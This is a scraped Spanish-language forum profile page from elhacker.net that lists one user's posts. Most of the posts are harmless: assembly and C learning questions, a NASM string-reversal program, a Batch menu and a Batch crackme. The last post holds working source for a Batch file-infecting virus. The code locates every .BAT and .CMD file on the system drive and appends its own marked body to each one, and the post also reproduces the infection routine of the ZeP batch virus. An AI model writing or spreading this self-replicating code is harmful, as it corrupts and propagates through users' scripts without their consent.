elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: 1 2 3 4 [5]
41  Programación / ASM / Comprar "Guía Práctica del Lenguaje ensamblador" o no... en: 5 Diciembre 2010, 22:58 pm
Bueno chicos...
A ver, me he leído el libro "Ensamblador para DOS, Linux y Windows", de Francisco Charte Ojeda.
La cosa es que vi el índice de "Guía Práctica del Lengua Ensamblador", del mismo autor, y vi que al menos aparentemente hay muchas cosas que no aparecen en el otro libro. Parece ser como una guía de referencia, y en ese caso me interesaría para ver más detalles que no se explican en el otro libro.

No es demasiado caro, pero aún así no es cuestión de gastar por gastar.
Alguien que tenga los dos, ¿podría decirme si vale la pena comprar la guía práctica habiendo leído el otro libro?

Gracias y saludos   :P
42  Programación / ASM / [NASM] String Reverse =P en: 28 Noviembre 2010, 19:23 pm
Mi segundo programa. Mi segundo día de estudio de asm  :P
Imagino que usé el método más espantoso para hacerlo... pero bueno, no se casi nada y es sólo mi segundo code de práctica... así que xD

Código
  1. ;;;;;;;;;;;;;;;;;
  2. ;String Reverse ;
  3. ;By Binary_Death;
  4. ;;;;;;;;;;;;;;;;;
  5. segment Data
  6. msg1 db 'Cadena a invertir: $'
  7. msg2 db 'Cadena invertida: $'
  8. string times 256 db ' '
  9. char db ' $'
  10. clf db 10,13,10,13,'$'
  11. segment Stack stack
  12. resb 256
  13. StackEnd:
  14. segment Code
  15. ..start:
  16. mov ax, Stack
  17. mov ss, ax
  18. mov sp, StackEnd
  19. mov ax, Data
  20. mov ds, ax
  21. mov ah,9h
  22. mov dx,msg1
  23. int 21h
  24. xor bx,bx
  25. SaveStr:
  26. xor ah,ah
  27. int 16h	
  28. cmp al,0Dh
  29. je ShowStr
  30. mov [string+bx],al
  31. mov [char],al
  32. mov dx,char
  33. mov ah,9
  34. int 21h
  35. cmp bx,00FFh
  36. je ShowStr
  37. inc bx
  38. jmp SaveStr
  39. ShowStr:
  40. mov ah,9h
  41. mov dx,clf
  42. int 21h
  43. mov dx,msg2
  44. int 21h
  45. dec bx
  46. LoopPos:
  47. mov al,[string+bx]
  48. mov [char],al
  49. mov ah,9h
  50. mov dx,char
  51. int 21h
  52. cmp bx,00h
  53. je Exit
  54. dec bx
  55. jmp LoopPos
  56. Exit:
  57. xor ah,ah
  58. int 16h
  59. mov ah,4ch
  60. int 21h
  61.  

Agradecería que se me comentara cómo mejorar.

Saludos!

EDITO:

Bueno, en el tercer día de aprendizaje aprendí unas cuantas nuevas cosas. Así que mejoré esto...

Código
  1. ;;;;;;;;;;;;;;;;;
  2. ;;StrRev 16 bit;;
  3. ;;    NASM     ;;
  4. ;;Binary_Death ;;
  5. ;;;;;;;;;;;;;;;;;
  6. segment data
  7. MSG1 DB 'Cadena a Invertir: $'
  8. MSG2 DB 'Cadena Invertida: $'
  9. CRNL DB 10,13,'$'
  10. BKSC DB 8,'$'
  11. CHR1 DB ' $'
  12. segment stck stack
  13. resb 256
  14. SpOffset:
  15.  
  16. segment code
  17. ..start:
  18.  
  19. ;Asumimos segmentos
  20. mov ax,data
  21. mov ds,ax	;DS=Data
  22. mov es,ax	;ES=Data
  23.  
  24. mov ax,stck
  25. mov ss,ax	;SS=Stck
  26. mov sp,SpOffset ;SP=Offset(SpOffset)
  27.  
  28. mov ah,9h
  29. mov dx,MSG1
  30. int 21h		;Mostramos MSG1 en pantalla
  31.  
  32. mov dx,0FFh
  33. xor cx,cx
  34. PushLoop:
  35. xor ah,ah
  36. int 16h		;Pedimos carácter por teclado
  37. cmp al,9h	;Si CHR=BS
  38. jz BackSpace	;jmp BackSpace
  39. cmp al,0Dh	;Si chr=\CR
  40. jz ShowStr	;jmp ShowStr
  41. push ax		;Empujamos AH+AL(=00+Chr) a stack
  42. mov [CHR1],al	;Guardamos carácter en memoria
  43. mov ah,9h
  44. mov dx,CHR1
  45. int 21h		;Mostramos el carácter guardado
  46. inc cx		;Incrementamos CX
  47. dec dx		;Decrementamos DX
  48. jnz PushLoop	;Si CX!=0 jmp PushLoop
  49.  
  50. ShowStr:
  51. mov ah,9h
  52. mov dx,CRNL	;Salto de línea
  53. int 21h		;Efectuamos
  54.  
  55. PopLoop:
  56. pop ax		;Recuperamos último CHR
  57. mov [CHR1],al	;Lo guardamos en CHR1
  58. mov ah,9h
  59. mov dx,CHR1
  60. int 21h		;Lo mostramos en pantalla
  61. loop PopLoop	;Si CX!=0 jmp PopLoop
  62.  
  63. Exit:
  64. xor ah,ah
  65. int 16h		;Hacemos pausa
  66. mov ah,4ch
  67. int 21h		;Devolvemos control al OS
  68.  
  69. BackSpace:
  70. mov ah,9h
  71. mov dx,BKSC
  72. int 21h
  73. jmp PushLoop
  74.  
43  Programación / ASM / ¿Error de tipeo en el libro o no comprendí bien? en: 27 Noviembre 2010, 22:03 pm
A ver... leyendo un libro de asm, en la parte que habla de los registros del segmento y punteros de la pila, dice con palabras textuales esto:

Citar
Otros registros fundamentales, que deben configurarse al iniciar la ejecución de cualquier programa, son BP (Base Pointer) y SP (Stack Pointer). Ambos trabajan conjuntamente con el registro de segmento SS para definir la dirección base de la pila, que estaría en la dirección CS:BP, y la posición actual en la que están insertándose o recuperándose datos, que sería CS:SP. La pila es una estructura que crece en orden inverso, es decir, en principio CS contendrá el valor del final de pila, mientras que SP irá reduciéndose a medida que se inserten datos o incrementándose al extraerlos.

Hace referencia a SS como registro de segmento de pila. ¿No debería ser la dirección base indicada por SS:BP y el puntero a la posición actual de la pila indicado por SS:SP?
Digo, CS es el segmento de datos, y SS son 64kb de memoria aparte.

Así lo entendí yo. Y como me parece medio raro, quisiera saber si es un error de tipeo del libro (porque muchas veces esas cosas ocurren) o es que lo entendí mal xD.

Saludos!
44  Programación / Programación C/C++ / Puntero+indice en: 18 Agosto 2010, 02:50 am
Verán... mi duda es la siguiente.

Yo tengo el siguiente código:

Código:
#include <stdio.h>
int main()
{
    int array[5] = {1, 2, 3, 4, 5};
    int *point = array;
    printf("%d", *(point+1));
    return 0;
}

El cual funciona correctamente, sin complicación.
La cosa es, yo defino un array de 5 elementos de tipo int, ok. Luego le asigno la dirección de inicio del array al puntero "point", el cual declaro. Y despues con un printf, imprimo el contenido de la dirección a la que apunta point más un desplazamiento de 1.
Si cada celda de memoria ocupa un byte, lo normal seria que el +1 apuntara al siguiente byte de memoria. La cosa es que un tipo int ocupa 4 bytes... entonces, el puntero apuntaría al siguiente byte, donde no están contenidos los 4 bytes completos del siguiente elemento del array.

Se me entiende?... en fin, agradecería que alguien pudiera explicarmelo.

Saludos ^^
45  Programación / Programación C/C++ / [C]Duda, typedef. en: 15 Agosto 2010, 04:00 am
Este era el post de otra duda, pero como la solucioné antes de que nadie respondiera, economizo, edito y planteo otra  ;D

Typedef permite definir alias para los tipos de variables, de tal forma que si yo hago...

Código:
 typedef int entero;
entero a = 5;

Puedo definir la variable "a" como un entero cuyo valor es 5.
Bien, la cuestión es... en mi libro de aprendizaje, vienen la siguientes sentencias:

Código:
typedef int * pint;
int *p = pint(0x1F5);

Lo cual, a mi entender, no tiene ningún sentido, pues declara el alias como un puntero... no le veo la lógica, lo que se pretende hacer con eso. Y más aun, usando "pint" como la llamada a una función  :-\

En fin, gracias por la atención...
Saludos =)
46  Programación / Scripting / [Pregunta]Manejo de gráficos: métodos en: 6 Agosto 2010, 23:37 pm
Bien, después de informarme bastante sobre el manejo de gráficos en Batch usando el plano cartesiano, me pregunté si alguien conocería algún otro método que permitiera un control de gráficos equivalente al que se tiene usando coordenadas.

Sé que lo hay, pues no hace mucho encontré un Batch Game que usaba otro método... postearía el código de éste si mi mala memoria me permitiera recordar su nombre y en qué página estaba  :¬¬  :xD

En fin, gracias por la atencion ^^
Saludos!
47  Programación / Scripting / Menú de selección en Batch en: 5 Agosto 2010, 15:48 pm
Pues... esto pertenecía a un proyecto que quedó bastante en el aire... y bueh, aquí lo dejo, a ver que tal, porque me parece un método interesante  :P

Código:
@ECHO OFF
@SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
@MODE CON COLS=80 LINES=25
@COLOR 0F
@TITLE BOOT
@REM CODED BY BINARY_DEATH
@REM DATA: LAST LINE: 12
:BIOS
CALL:LOAD_KEYBOARD
CALL:LOAD_GRAPHIC
CALL:GRAPHIC_LOAD "!LOGO!"
SET/A INDEX=0,LIMIT=2
:MENU
SET/A COUNT=0
FOR %%I IN (CHANGE,START,SETTINGS) DO (
IF !INDEX! EQU !COUNT! (
SET VAR=!%%I:@=F!&&SET VAR=!VAR:#=F0!
CALL:GRAPHIC_LOAD "!VAR!"
) ELSE (
SET VAR=!%%I:@=0!&&SET VAR=!VAR:#=0F!
CALL:GRAPHIC_LOAD "!VAR!")
SET/A COUNT+=1
)
CALL KEYBOARD.COM
IF %ERRORLEVEL% EQU 80 (
IF %INDEX% LSS %LIMIT% (
SET/A INDEX+=1
) ELSE (SET/A INDEX=0))
IF %ERRORLEVEL% EQU 72 (
IF %INDEX% GTR 0 (
SET/A INDEX-=1
) ELSE (SET/A INDEX=%LIMIT%))
IF %ERRORLEVEL% EQU 13 (
EXIT/B %INDEX%
)
GOTO:MENU
:GRAPHIC_LOAD
FOR %%S IN (%~1) DO (
FOR /F "TOKENS=1,2,3 DELIMS=$" %%K IN ("%%S") DO (
ECHO.EB800:%%K "%%L"%%M 1>>CSHOW.TMP
))
(TYPE CSHOW.TMP&ECHO.Q)|DEBUG>NUL
DEL/Q CSHOW.TMP
GOTO:EOF
:LOAD_GRAPHIC
SET CHANGE=642$C$#,644$H$#,646$A$#,648$N$#,^
64A$G$#,64C$E$#,64E$Û$@,650$B$#,652$O$#,654$S$#
SET START=6E2$S$#,6E4$T$#,6E6$A$#,6E8$R$#,^
6EA$T$#,6EC$Û$@,6EE$B$#,6F0$O$#,6F2$S$#
SET SETTINGS=782$S$#,784$E$#,786$T$#,^
788$T$#,78A$I$#,78C$N$#,78E$G$#,790$S$#
SET LOGO=500$±$F,A2$±$F,142$±$F,1E2$±$F,282$±$F,322$±$F,^
3C2$±$F,502$±$F,A4$±$F,3C4$±$F,504$±$F,A6$±$F,^
3C6$±$F,506$±$F,A8$±$F,1E8$±$F,3C8$±$F,508$±$F,^
AA$±$F,1EA$±$F,3CA$±$F,50A$±$F,14C$±$F,28C$±$F,^
32C$±$F,3CC$±$F,50C$±$F,50E$±$F,510$±$F,B2$±$F,^
3D2$±$F,512$±$F,B4$±$F,3D4$±$F,514$±$F,B6$±$F,^
156$±$F,1F6$±$F,296$±$F,336$±$F,3D6$±$F,516$±$F,^
B8$±$F,158$±$F,1F8$±$F,298$±$F,338$±$F,3D8$±$F,^
518$±$F,BA$±$F,3DA$±$F,51A$±$F,BC$±$F,3DC$±$F,^
51C$±$F,51E$±$F,520$±$F,C2$±$F,162$±$F,202$±$F,^
2A2$±$F,342$±$F,3E2$±$F,522$±$F,C4$±$F,3E4$±$F,^
524$±$F,C6$±$F,3E6$±$F,526$±$F,C8$±$F,3E8$±$F,^
528$±$F,CA$±$F,3EA$±$F,52A$±$F,CC$±$F,16C$±$F,^
20C$±$F,2AC$±$F,34C$±$F,3EC$±$F,52C$±$F,52E$±$F,^
530$±$F,D2$±$F,172$±$F,212$±$F,2B2$±$F,3F2$±$F,^
532$±$F,D4$±$F,2B4$±$F,3F4$±$F,534$±$F,D6$±$F,^
2B6$±$F,3F6$±$F,536$±$F,D8$±$F,2B8$±$F,3F8$±$F,^
538$±$F,DA$±$F,2BA$±$F,3FA$±$F,53A$±$F,DC$±$F,^
2BC$±$F,35C$±$F,3FC$±$F,53C$±$F,53E$±$F
GOTO:EOF
:LOAD_KEYBOARD
IF NOT EXIST KEYBOARD.COM ((
ECHO.N KEYBOARD.COM
ECHO.E 0000 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
ECHO.R CX
ECHO.000E
ECHO.W0
ECHO.Q)|DEBUG 1>NUL 2>&1
)
GOTO:EOF

No usa ni WBAT ni programas externos que MS-DOS no incluya, sólo se usa debug para acceder a la memoria de video.

Saludos!
48  Programación / ASM / Duda en Ejemplo en: 10 Julio 2010, 21:37 pm
Verán... he comprado el libro "Ensamblador para DOS, Linux y Windows" de Francisco Charte Ojeda, y estoy cursando el quinto capítulo.
En él, hay el código fuente de un programa en ensamblador y el mismo programa ya compilado. Dicho programa lo testeé en Windows XP y Windows Vista, y en ambos NO funciona. De lo que estoy seguro es de que el ejemplo del libro, definitivamente no puede estar errado.
Bien, les comento mi duda. El ejemplo trata sobre el acceso al segmento de pantalla de DOS: 0B800h. En la explicación cuenta que en ese segmento, el desplazamiento 0 contiene el código de carácter a escribir, el 1 el atributo del caracter, el 2 el siguiente código de carácter y el 3 el atributo de éste.
Antes de proseguir les dejaré el código de ejemplo del libro:

Código:

        ; Definimos el segmento de datos
        segment Datos
        
; definiendo varios campos
Asterisco db '*'
Blanco    db 0f0h
Posicion  dw 3280 ; l:20,c:40
Valor32   dd 0        

        ; Segmento para la pila
        segment Pila stack
          resb 256
InicioPila:

        ; Segmento de código
        segment Codigo
..start:

        ; inicializamos ds
        mov ax, Datos
        ; para acceder a los datos
        mov ds, ax

        ; preparamos el registro es
        ; para acceder al segmento
        ; donde está el contenido de 
        ; la pantalla        
        mov ax, 0b800h
        mov es, ax

        ; recuperamos en AL el
        ; valor que hay en Asterisco
        mov al,[Asterisco]
        
        ; en AH el color
        mov ah,[Blanco]

        ; y en BX la posición
        mov bx,[Posicion]

        ; transferimos el contenido
        ; de AX a la dirección ES:BX
        mov [es:bx], ax

        ; escribimos directamente en
        la pantalla un valor inmediato
        mov word [es:5*160+35*2], 00a41h
        
        ; salimos al sistema
        mov ah, 4ch
        int 21h

AX se descompone en AH y AL, que contienen los bits más y menos significativos respectivamente, ¿cierto? Bien, si fuera como el libro dijo, en AH debería situarse el código del carácter y en AL su atributo. Pero no es así, sino al revés. La duda es precisamente esa, ¿por qué?

Y no estaría de más que alguien me pudiera decir por qué no me funciona en mi sistema, porque me encataría testear los ejemplos =/

En fin, ¡gracias y saludos!
49  Programación / Scripting / Crackme Noob 1.0 [batch] en: 16 Febrero 2010, 13:21 pm
Código:
@echo off
title Crackme Noob 1.0 [Binary_Death]
setlocal enabledelayedexpansion
:code
cls
set "dig="
set /p "dig=Password: "
if not defined dig GoTo:code
call:len "%dig%"
if %strlen% LSS 5 (GoTo:code)
set /a "iflen=(%strlen%*%dig:~0,1%%dig:~-1%) %% 5"
if "%iflen%" NEQ "0" (GoTo:lost)
call:algoritm
call:cmp "%cmp%"
exit /b
:algoritm
set /a "dec=%dig%/%strlen%"
set /a "decend=%dig% %% %strlen%"
set ret=0
set int=0
if %dig%%strlen% LSS %dec% (GoTo:lost)
for /l %%y in (%dig%%strlen%,-%dec%,%decend%) do (set /a int+=1)
set /a "strlenpos=%strlen%-1"
for /l %%x in (0,1,%strlenpos%) do (
set /a "ret=!dig:~%%x,1!+!ret!"
)
set /a "cmp=(%ret%*%int%*%strlen%) + (%dig:~0,1%*%dig:~-1%)"
GoTo:EoF
:cmp
if "%~1" NEQ "19445" (GoTo:lost) else (GoTo:win)
exit
:len
set "txt=%~1"
set /a "count=0"
:strlen
call set "text=%%txt:~%count%,1%%"
if defined text (
set /a "count+=1"
GoTo:strlen
) else (
set "strlen=%count%"
GoTo:EoF
)
:lost
cls
echo Has perdido.
pause>nul&exit
:win
cls
echo Has ganado.
pause>nul&exit

Es mi segundo crackme que ya postee en algunos foros.
Yo CREO que es muy sencillo y no esta demasiado bien hecho, pero eso ya os lo dejo a vosotros. Opinad.

Saludos y animaos! suerte!
50  Programación / Scripting / Infección de ficheros por lotes. [By Binary_Death] en: 3 Febrero 2010, 20:49 pm
Esto es algo que solo vi en un malware batch... ZeP, el archiconocido xD.
Primero veamos el objetivo.
Cuando infectamos con un bat otro bat, agregamos el codigo del primero al segundo... evidentemente. El problema surge al ejecutar el fichero infectado, cuando vamos a infectar otro fichero desde un fichero ya infectado copiamos todo el codigo del fichero en otro fichero... y nosotros queremos copiar solo el codigo virico. En resumen, necesitamos saber la posicion de nuestro malware en el fichero para copiar solo este y no todo el fichero en si.
ZeP usa una tecnica que yo considero ingeniosa. Todas las lineas de codigo tienen la palabra ZeP, y luego con un find localiza todas esas lineas, localiza ese codigo y lo añade.
En ensamblador pasa lo mismo, y la tecnica para calcular la posicion del malware se llama Delta Offset... asi que para no ponerle Delta Word en batch dejemoslo en Delta... xDD

Código:
::[H4AR45R849H]_start
@echo off
set "[0]=%~0"
set "find=%SystemDrive%\*.BAT %SystemDrive%\*.CMD"
call:delta&call:infect
exit /b
:infect
set "jmp="
if %delta% NEQ 0 (set "jmp=skip=%delta% ")
for /f "tokens=*" %%f in ('dir /b /s %find%') do (
FIND /i "[H4AR45R849H]"<"%%~f">nul
if errorlevel 1 (call:write "%%~f"))
GoTo:EoF
:write
ECHO.>>"%~1"
for /f "tokens=* %jmp%usebackq" %%w in ("%[0]%") do (
ECHO.%%w>>"%~1"
if /i "%%w"=="::[H4AR45R849H]_end" (GoTo:EoF))
GoTo:EoF
:delta
set "linepos=0"&set "delta=0"
for /f "tokens=* usebackq" %%x in ("%[0]%") do (
if "%%x"=="::[H4AR45R849H]_start" (call set delta=%%linepos%%&GoTo:EoF)
set /a linepos+=1)
GoTo:EoF
::[H4AR45R849H]_end

Esto es lo que estuve codeando estos dias...
Buscamos el numero de linea que señala el principio del codigo virico, asi luego con un for y skip nos posicionamos para inyectar codigo hasta que se detecte el final del codigo virico.

Y aqui dejo el método que usaba el virus ZeP:

Código:
@echo off %DeLtA%
set "find=%SystemDrive%\*.BAT %SystemDrive%\*.CMD" %DeLtA%
set "[0]=%~0" %DeLtA%
:infect %DeLtA%
for /f "tokens=*" %%f in ('dir /b /s %find%') do ( %DeLtA%
find "DeLtA"<%%f>nul %DeLtA%
if errorlevel 1 (call:write "%%~f")) %DeLtA%
GoTo:EoF %DeLtA%
:write %DeLtA%
ECHO.>>"%~1" %DeLtA%
find /i "DeLtA"<%[0]%>>"%~1" %DeLtA%
GoTo:EoF %DeLtA%

Para malwares largos no es conveniente... porque tiene que tener una palabra en cada linea xDDD y eso son bastantes bytes mas.


Y bueno, este es mi primer post en este foro, espero que sea de utilidad :P

Saludos!
Páginas: 1 2 3 4 [5]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines